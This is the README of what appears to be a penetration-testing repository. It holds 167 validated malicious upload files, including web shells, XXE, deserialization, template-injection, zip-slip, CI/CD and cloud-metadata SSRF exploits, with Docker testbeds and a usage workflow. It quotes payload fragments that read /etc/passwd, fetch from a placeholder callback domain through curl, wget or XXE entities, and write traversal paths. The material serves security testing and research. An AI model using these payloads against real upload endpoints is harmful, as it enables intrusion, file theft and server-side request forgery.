Found a file that doesn't work? If any file does not behave as expected in its exploit chain, please open an issue and we will fix it. Pull requests are also welcome!
Research is ongoing. This project is under active development and will be updated regularly with new file types, vulnerability classes, and testbed stacks.
Disclaimer: These files are provided for authorized security testing, education, and research purposes only. The authors assume no responsibility or liability for any misuse or downstream effects. Use entirely at your own risk. By using this project you accept full responsibility for your actions.
License: MIT - see LICENSE
167 validated exploit files covering 12 vulnerability classes, 17 file categories, and 31 Docker testbed stacks. Every file produces a real, measurable exploit signal when uploaded to its target. Zero theoretical payloads.
Validation: 167 tested / 167 fire / 0 failures / 0 skipped against 31 Docker testbed stacks. Strict validation proves actual exploitation (server-side computation returning 1337, real /etc/passwd content leaked, OOB callbacks received from target containers, measured timing delays >4.5s, actual parser crashes) -- not string matching.
Most file upload testing relies on extension blocklists, MIME type checks, and a handful of well-known webshell filenames. A tester uploads shell.php, it gets blocked, and they move on. The actual attack surface -- image processors, document converters, archive extractors, template engines, deserialization endpoints, PDF renderers, font parsers, and build pipelines -- goes untested because the payloads don't exist or have never been validated against real infrastructure.
Traditional malicious file collections have three problems. First, many files are theoretical -- they describe the exploit but were never tested against a real vulnerable application. Second, they target a single vulnerability class (usually webshells) while ignoring the dozen other ways uploaded files become dangerous. Third, there's no way to confirm a file actually works without manually setting up the vulnerable environment.
This project takes a different approach. Every file is a crafted exploit that targets a specific server-side processing pipeline. Each file is generated deterministically by Python scripts, uploaded to a purpose-built Docker testbed running the genuinely vulnerable software, and verified to produce a measurable exploit signal.
The files aren't organized by file extension -- they're organized by what happens when the server processes them:
- A JPEG that executes as PHP when Apache serves it from an upload directory
- A DjVu file that triggers CVE-2021-22204 in ExifTool 11.70, executing arbitrary commands
- A DOCX containing XXE in
word/document.xmlthat leaks/etc/passwdthrough lxml entity resolution - A pickle file that calls
urllib.request.urlopen()to make an outbound HTTP request - An EJS template that runs
require('child_process').execSync()when rendered server-side - A Makefile that executes shell commands when processed by a CI/CD build runner
Every file must produce at least one detection pillar signal -- a concrete, observable behavior that proves the exploit landed. If a file doesn't produce a signal against its testbed, it doesn't belong in the database.
The files cover the full taxonomy of file upload exploitation, not just webshells:
| # | Class | Files | What Happens |
|---|---|---|---|
| 1 | Direct server-side execution | 34 | Uploaded file runs as code (PHP, JSP, Python, Perl, CGI, SSI) |
| 2 | Template execution | 15 | Uploaded template rendered server-side (Jinja2, EJS, ERB) |
| 3 | Plugin/bundle deploy | 4 | Uploaded WAR auto-deployed by Tomcat |
| 4 | Unsafe deserialization | 19 | Uploaded serialized object triggers code execution (pickle, YAML, PHP unserialize, node-serialize, JSON prototype pollution) |
| 5 | Parser/converter RCE | 31 | Backend tool exploited during processing (ImageMagick, ExifTool, GhostScript, Pillow, FFmpeg, fonts, SVG, PDF, wkhtmltopdf) |
| 6 | Archive extraction | 6 | Extracted files escape upload directory or exhaust resources (zip slip, tar slip, symlink) |
| 7 | XXE / XML parser | 9 | XML parsing leaks files or makes outbound requests (XXE, XSLT, DOCX/XLSX XXE) |
| 8 | Browser-side XSS | 13 | Uploaded HTML/SVG/Markdown served to browsers with active content |
| 9 | Desktop client execution | 7 | Document exploits targeting office software (DOCX template inject, DDE, PPTX SSRF, PDF actions) |
| 10 | CI/CD build pipeline | 11 | Uploaded build files execute during processing (Makefile, shell scripts, LaTeX) |
| 11 | Cloud/storage exploits | 7 | Policy file override, config secret exposure, cloud metadata SSRF |
| 12 | Microservice/event processing | 7 | Uploaded data exploits downstream processors (CSV formula injection, SQLite injection) |
See HOWTOUSE.md for the operator guide: target-profiling decision flow, per-category firing context, a fingerprint→category selection matrix, and pillar-selection rules. Use it before you upload anything - the database is organized by processing pipeline, not extension, so picking the right category means fingerprinting the backend first.
# 1. Generate all exploit files from deterministic specs
./tools/uploadctl generate
# 2. Prepare files with your OOB callback domain
# Replaces {domain} placeholder in all OOB/SSRF payloads
./tools/uploadctl prepare YOUR_CALLBACK.oastify.com
# 3. Start testbed stacks (Docker required)
cd testbed
./testbed up upload-php-apache
./testbed up imagemagick-6
./testbed up xml-parse
# ... (31 stacks total)
# 4. Validate all files against running testbeds
cd ..
./tools/uploadctl validate
# Output: 167/167 fired (100%), 0 skippedGenerated files are in files/sources/ organized by category. Prepared files (with {domain} replaced) go to files/ready/.
Every file produces at least one of these signals when processed by its target:
| Pillar | Files | What to look for | Proves |
|---|---|---|---|
| Math | 43 | 1337 in response (server computed 7*191) |
Server-side code execution |
| Reflected | 32 | XSS payload served, config data leaked, PDF actions extracted | Unsafe content handling |
| File-read | 31 | root:x:0:0 in response, path traversal, symlink read |
Local file disclosure |
| OOB | 30 | HTTP callback received by your server | Blind SSRF / code execution |
| Timing | 17 | Response takes >4.5 seconds (from sleep(5)) |
Blind code execution |
| Error | 14 | Process crash, memory exhaustion (>200MB), parser error | DoS / malformed input handling |
Canary value: 1337 (from 7*191). Payloads send the expression 7*191, not the literal 1337. If 1337 appears in the response, the server evaluated the expression -- proof of code execution.
Strict validation criteria:
- Math: standalone
1337via word-boundary regex (not part of13374or file sizes) - OOB: callback catcher cleared before each test, verified receipt after upload
- Timing: measured wall-clock response time >4500ms
- File-read: actual
/etc/passwdformat (root:x:N:N), not just the string "root" - Reflected: payload content verified in served response body, not upload metadata
- Error: non-zero exit code, memory >200MB, or decompression ratio >100x
| Category | Files | Targets | Formats |
|---|---|---|---|
| shells | 30 | upload-php-apache, upload-php-nginx, tomcat, upload-python | PHP (.php, .phtml, .pHp, .php5, .phar, .inc, .php.jpg, .php;.jpg), JSP (.jsp, .jspx, .jspf), Python, Perl, CGI, SSI |
| images | 19 | imagemagick-6, exiftool-vuln, pillow-process, svg-render, xml-parse | SVG, DjVu (CVE-2021-22204), PNG, GIF, JPEG, EPS, MVG |
| xml-serialization | 19 | xml-parse, yaml-parse, pickle-load, docx-parse | XML XXE, XSLT, YAML (Python), Pickle, JSON |
| stored-xss | 13 | upload-node | HTML, Markdown, JPEG/GIF polyglots |
| data | 12 | csv-process, latex-compile, sqlite-load | CSV, LaTeX, SQLite |
| archives | 10 | extract-zip, extract-tar, tomcat, upload-php-apache | ZIP (slip, shell, symlink), TAR (slip, symlink), WAR |
| templates-ext | 10 | ejs-render, erb-render | EJS (Node.js), ERB (Ruby) |
| documents | 8 | pdf-render, docx-parse | PDF (JS, Launch, XXE, form submit), DOCX (template inject, XXE), XLSX (DDE, XXE), PPTX |
| deserialization | 8 | php-unserialize, node-deserial, ruby-deserial | PHP serialized objects, Node node-serialize (CVE-2017-5941), Ruby YAML |
| server-config | 7 | upload-php-apache, upload-php-nginx, upload-node, upload-python | .htaccess, .user.ini, crossdomain.xml, clientaccesspolicy.xml, .env, .npmrc |
| polyglots | 6 | upload-php-apache, extract-zip | JPEG+PHP, GIF+ZIP, PNG+ZIP, PDF+ZIP, BMP+PHP, PHAR+JPEG |
| cicd | 6 | build-runner | Makefile, shell scripts |
| media | 5 | ffmpeg-process, upload-node | HLS (.m3u8), FFmpeg concat, AVI, MP4, SRT |
| templates | 5 | template-render | Jinja2 (Python) |
| wkhtmltopdf | 4 | wkhtmltopdf | HTML with SSRF via img, link, XHR, meta refresh |
| fonts | 3 | font-render | TTF, OTF, WOFF (malformed) |
| cloud | 2 | docx-parse, cloud-meta | DOCX/PDF with cloud metadata SSRF |
Math (43 files) -- server computes 7*191 and returns 1337:
- PHP shells compute
7*191viaecho 7*191; - JSP shells via
out.print(7*191); - Python pickle/YAML via
subprocess.check_output(["sh","-c","echo $((7*191))"]) - ExifTool DjVu via
system('echo 1337')(CVE-2021-22204) - GhostScript EPS via
%pipe%echo $((7*191)) - EJS/ERB templates via
require('child_process').execSync()/ backtick execution - Makefile/shell scripts via
expr 7 \* 191/echo $((7*191)) - CSV formula via Python
eval()on=__import__('os').popen('echo $((7*191))').read()
OOB (30 files) -- target makes outbound HTTP request to callback server:
- PHP shells via
file_get_contents("http://{domain}/...") - ExifTool DjVu via
system('wget ...')(CVE-2021-22204) - XXE via
<!ENTITY xxe SYSTEM "http://{domain}/..."> - XSLT via
document('http://{domain}/...') - DOCX/PPTX via external relationship URL in
.rels - PDF via
app.launchURL()andSubmitFormactions - wkhtmltopdf via
<img src>,<link href>,XMLHttpRequest - Jinja2/EJS/ERB SSTI via
os.popen('curl ...')/require('http').get()/Net::HTTP.get()
File-read (31 files) -- response contains actual /etc/passwd content:
- PHP shells via
file_get_contents("/etc/passwd") - XXE via
<!ENTITY xxe SYSTEM "file:///etc/passwd"> - XSLT via
document('file:///etc/passwd')with custom URI resolver - DOCX/XLSX XXE via entity in
word/document.xml/xl/sharedStrings.xml - ZIP/TAR slip via
../../../tmp/pwnedpath traversal entries - Pickle/YAML via
open('/etc/passwd').read()/subprocess.check_output(["cat","/etc/passwd"]) - GhostScript EPS via
%pipe%cat /etc/passwd
Timing (17 files) -- response takes >4.5 seconds:
- PHP sleep shells via
sleep(5); - JSP via
Thread.sleep(5000); - Python via
time.sleep(5)(pickle, YAML, direct) - ExifTool DjVu via
system('sleep 5')(CVE-2021-22204) - Jinja2/EJS/ERB SSTI via
os.popen('sleep 5')/execSync('sleep 5')/sleep(5) - Makefile via
@sleep 5 - CSV formula via
__import__('time').sleep(5)
Every testbed simulates a real-world application deployment. No contrived test harnesses.
| Stack | Port | Simulates | Genuinely Vulnerable To |
|---|---|---|---|
| upload-php-apache | 9001 | WordPress/Drupal/Laravel on Apache | PHP shell upload, .htaccess override, double extension bypass |
| upload-php-nginx | 9002 | PHP apps behind Nginx + PHP-FPM | PHP shell via .php extension, .user.ini override |
| upload-node | 9003 | Express.js/Next.js/Strapi | Stored XSS, prototype pollution (CVE-2018-3721), dotfile exposure |
| upload-python | 9004 | Jupyter/CI runners/Python CGI | Python script execution, file read |
| tomcat | 9032 | Jenkins/Jira/Confluence/Spring Boot | WAR auto-deploy, JSP execution |
| imagemagick-6 | 9010 | WordPress thumbnails/GitLab/Discourse | GhostScript pipe RCE, file read (policy.xml removed, -dNOSAFER) |
| exiftool-vuln | 9012 | Photo galleries/DAM/GitLab CI | CVE-2021-22204 DjVu RCE (ExifTool 11.70) |
| pillow-process | 9013 | Django/Flask image resize | Decompression bomb (MAX_IMAGE_PIXELS=None), ICC crash |
| svg-render | 9051 | Badge generators/doc converters | SVG XSS attributes, XXE entity resolution |
| xml-parse | 9040 | SOAP services/config importers | XXE file read, XSLT RCE, billion laughs (lxml resolve_entities=True) |
| extract-zip | 9030 | Plugin installers/bulk import | Zip slip (extractall without sanitization), symlink read |
| extract-tar | 9031 | CI/CD artifact extraction | Tar slip, symlink to /etc/passwd |
| ffmpeg-process | 9014 | Video platforms/Plex/Jellyfin | HLS SSRF, concat file read (protocol_whitelist allows file/http) |
| pdf-render | 9020 | Invoice processors/doc preview | PDF JS extraction, Launch action, XXE in XMP, form submit |
| docx-parse | 9022 | Resume parsers/CRM import | DOCX/XLSX XXE (lxml entity resolution), template URL fetch, DDE |
| yaml-parse | 9041 | Kubernetes configs/CI pipelines | Python YAML unsafe Loader (arbitrary object construction) |
| pickle-load | 9042 | ML model loading/sklearn | Python pickle with unrestricted __reduce__ |
| template-render | 9070 | CMS editors/email builders | Jinja2 SSTI via render_template_string() |
| ejs-render | 9076 | Node.js CMS/report generators | EJS SSTI with require() exposed |
| erb-render | 9077 | Rails views/report generators | ERB SSTI with full Ruby eval |
| latex-compile | 9071 | Overleaf/academic paper processors | LaTeX shell-escape (\write18, \directlua, \input pipe) |
| csv-process | 9073 | Spreadsheet/ETL pipelines | Python eval() on formula cells |
| sqlite-load | 9072 | Mobile app sync/config databases | SQL injection via crafted table names, load_extension |
| font-render | 9050 | Typography tools/PDF generators | FreeType/fonttools parser crashes |
| cloud-meta | 9060 | AWS/GCP/Azure deployments | Mock IMDS at 169.254.169.254 with fake credentials |
| php-unserialize | 9074 | WordPress/Magento session stores | PHP unserialize() with Logger/FileReader gadgets |
| node-deserial | 9079 | Node.js session/state import | node-serialize IIFE execution (CVE-2017-5941) |
| ruby-deserial | 9078 | Rails session/cache restore | Ruby YAML.load with permitted dangerous classes |
| wkhtmltopdf | 9080 | Invoice/report PDF generation | SSRF via embedded URLs (img, link, XHR, meta refresh) |
| build-runner | 9081 | Jenkins/GitLab CI/build services | Makefile/shell script execution |
| imagemagick-7 | 9011 | Patched IM (comparison baseline) | OOM from large PNG dimensions |
# Generate all exploit files from specs
./tools/uploadctl generate
# Generate specific category
./tools/uploadctl generate archives
./tools/uploadctl generate templates_ext
# Prepare files with OOB callback domain
./tools/uploadctl prepare YOUR_CALLBACK.oastify.com
# Validate against running testbeds
./tools/uploadctl validate
# Validate specific category
./tools/uploadctl validate --category images
./tools/uploadctl validate --category cicd# 1. Edit a generator
vim tools/generate/gen_shells.py
# 2. Regenerate
./tools/uploadctl generate
# 3. Start testbeds
cd testbed/stacks/upload-php-apache && docker compose up -d && cd ../../..
# 4. Validate
./tools/uploadctl validate --category shells
# Expect: N/N fired (100%), 0 skipped.
├── README.md # This file
├── HOWTOUSE.md # Operator guide: target profiling + category selection matrix
├── SPEC.md # Technical spec
├── LICENSE # MIT
│
├── tools/
│ ├── uploadctl # CLI entry point
│ ├── cmd_generate.py # Generate files from specs
│ ├── cmd_validate.py # Validate against testbeds
│ ├── cmd_prepare.py # Substitute {domain} in OOB files
│ └── generate/ # Per-category generators
│ ├── gen_polyglots.py # Format polyglots (JPEG+PHP, GIF+ZIP, etc.)
│ ├── gen_shells.py # Web shells (PHP, JSP, Python, Perl, CGI, SSI)
│ ├── gen_images.py # Image processor exploits (ExifTool, GhostScript, SVG)
│ ├── gen_documents.py # Document exploits (PDF, DOCX, XLSX, PPTX)
│ ├── gen_archives.py # Archive exploits (zip slip, tar slip, WAR deploy)
│ ├── gen_xml.py # XXE, XSLT, YAML/Pickle deserialization
│ ├── gen_media.py # Media exploits (FFmpeg HLS/concat, SRT XSS)
│ ├── gen_config.py # Server config files (.htaccess, .user.ini, .env)
│ ├── gen_fonts.py # Malformed font files (TTF, OTF, WOFF)
│ ├── gen_cloud.py # Cloud SSRF (DOCX/PDF with metadata URLs)
│ ├── gen_xss.py # Stored XSS (HTML, Markdown, polyglots)
│ ├── gen_templates.py # Jinja2 SSTI payloads
│ ├── gen_data.py # Data file exploits (CSV, LaTeX, SQLite)
│ ├── gen_deserial.py # Deserialization (PHP, Node, Ruby)
│ ├── gen_templates_ext.py # Template engines (EJS, ERB)
│ ├── gen_cicd.py # CI/CD exploits (Makefile, shell scripts)
│ └── gen_wkhtmltopdf.py # wkhtmltopdf SSRF payloads
│
├── files/
│ ├── sources/ # Generated exploit files by category
│ │ ├── polyglots/ # JPEG+PHP, GIF+ZIP, etc.
│ │ ├── shells/ # Web shells (30 variants)
│ │ ├── images/ # Image processor exploits
│ │ ├── documents/ # PDF, DOCX, XLSX, PPTX
│ │ ├── archives/ # ZIP/TAR slip, WAR deploy
│ │ ├── xml-serialization/ # XXE, XSLT, YAML, Pickle
│ │ ├── media/ # FFmpeg, subtitle XSS
│ │ ├── server-config/ # .htaccess, .user.ini, .env
│ │ ├── fonts/ # Malformed fonts
│ │ ├── cloud/ # Cloud SSRF
│ │ ├── stored-xss/ # HTML, Markdown XSS
│ │ ├── templates/ # Jinja2 SSTI
│ │ ├── templates-ext/ # EJS, ERB SSTI
│ │ ├── data/ # CSV, LaTeX, SQLite
│ │ ├── deserialization/ # PHP, Node, Ruby serial
│ │ ├── cicd/ # Makefile, shell scripts
│ │ └── wkhtmltopdf/ # wkhtmltopdf SSRF
│ ├── manifest.json # File metadata and target mapping
│ └── ready/ # Output from prepare (gitignored)
│
└── testbed/
├── testbed # CLI: ./testbed up <stack>
├── docker-compose.oob.yml # OOB callback catcher
├── shared/oob-catcher/ # HTTP + TCP callback server
└── stacks/ # 31 vulnerable application stacks
├── upload-php-apache/ # PHP 7.4 / Apache (AllowOverride All)
├── upload-php-nginx/ # PHP 8.1 / Nginx + PHP-FPM
├── upload-node/ # Node 18 / Express + multer + lodash@4.17.4
├── upload-python/ # Python 3.11 / Flask + script execution
├── tomcat/ # Tomcat 9 / JDK 17 (manager + auto-deploy)
├── imagemagick-6/ # IM 6.9.11 + GhostScript -dNOSAFER
├── exiftool-vuln/ # ExifTool 11.70 (CVE-2021-22204)
├── pillow-process/ # Pillow (MAX_IMAGE_PIXELS=None)
├── svg-render/ # cairosvg + lxml
├── xml-parse/ # lxml (resolve_entities=True, XSLT enabled)
├── extract-zip/ # Python zipfile.extractall()
├── extract-tar/ # Python tarfile.extractall()
├── ffmpeg-process/ # FFmpeg (protocol_whitelist file,http)
├── pdf-render/ # Ghostscript + qpdf + PDF.js
├── docx-parse/ # python-docx + openpyxl + lxml XXE
├── yaml-parse/ # PyYAML unsafe Loader
├── pickle-load/ # pickle.loads() unrestricted
├── template-render/ # Flask render_template_string()
├── ejs-render/ # EJS with require() exposed
├── erb-render/ # Ruby ERB with full eval
├── latex-compile/ # pdflatex -shell-escape
├── csv-process/ # Python eval() on formula cells
├── sqlite-load/ # SQLite with unsanitized table names
├── font-render/ # FreeType + fonttools
├── cloud-meta/ # Mock AWS IMDS (169.254.169.254)
├── php-unserialize/ # PHP unserialize() with gadgets
├── node-deserial/ # node-serialize 0.0.4 (CVE-2017-5941)
├── ruby-deserial/ # Ruby YAML.load + Marshal.load
├── wkhtmltopdf/ # wkhtmltopdf 0.12.6 (SSRF)
├── build-runner/ # make + sh execution
└── imagemagick-7/ # IM 7.x (patched baseline)
- Write a generator function in
tools/generate/gen_<category>.py - Generator must produce deterministic output (same bytes every run)
- The file must fire against at least one testbed endpoint
- Validate:
./tools/uploadctl validate --category <category>
- Create
tools/generate/gen_<category>.pywith agenerate(output_dir)function returning entries - Register in
tools/cmd_generate.pyCATEGORIESlist - Create testbed stack in
testbed/stacks/<stack-name>/ - Add port mapping in
tools/cmd_validate.pySTACK_PORTS - Validate: all files must fire
- Every file must produce a measurable detection signal against its target
- Generators must be deterministic (no randomness, no timestamps)
- No external tool dependencies beyond Python 3 stdlib for generation
- Files with
{domain}placeholders are substituted bypreparestep - Web shells compute
7*191(not literal1337) to prove server-side evaluation - Archive exploits include traversal paths or symlinks that the extractor follows
- Multi-step exploits (
.htaccess,.user.ini) are validated with the full attack chain
Researched and developed by gromhacks. Built on techniques documented by the security research community including Corkami (Ange Albertini's file format research), Snyk (zip slip), ImageTragick researchers, Google Project Zero (font exploits), PortSwigger Web Security Academy, OWASP file upload guidelines, and individual researchers publishing CVE analysis. All files validated against real vulnerable applications.